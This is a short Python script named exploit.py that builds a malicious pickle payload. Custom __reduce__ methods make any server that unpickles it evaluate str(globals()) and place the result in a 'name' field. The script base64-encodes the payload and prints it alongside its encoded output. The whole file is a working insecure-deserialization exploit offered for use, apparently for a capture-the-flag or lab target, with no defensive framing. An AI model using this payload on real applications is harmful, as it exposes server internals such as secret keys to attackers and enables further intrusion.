exploit.py

import pickle
import base64

class RCE(object):
    def __reduce__(self):
        return (globals, () )

class RCEStr(object):
    def __reduce__(self):
        return (str, (RCE(), ) )

pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
# Outputs: gASVPAAAAAAAAAB9lIwEbmFtZZSMCGJ1aWx0aW5zlIwDc3RylJOUjAhidWlsdGluc5SMB2dsb2JhbHOUk5QpUpSFlFKUcy4=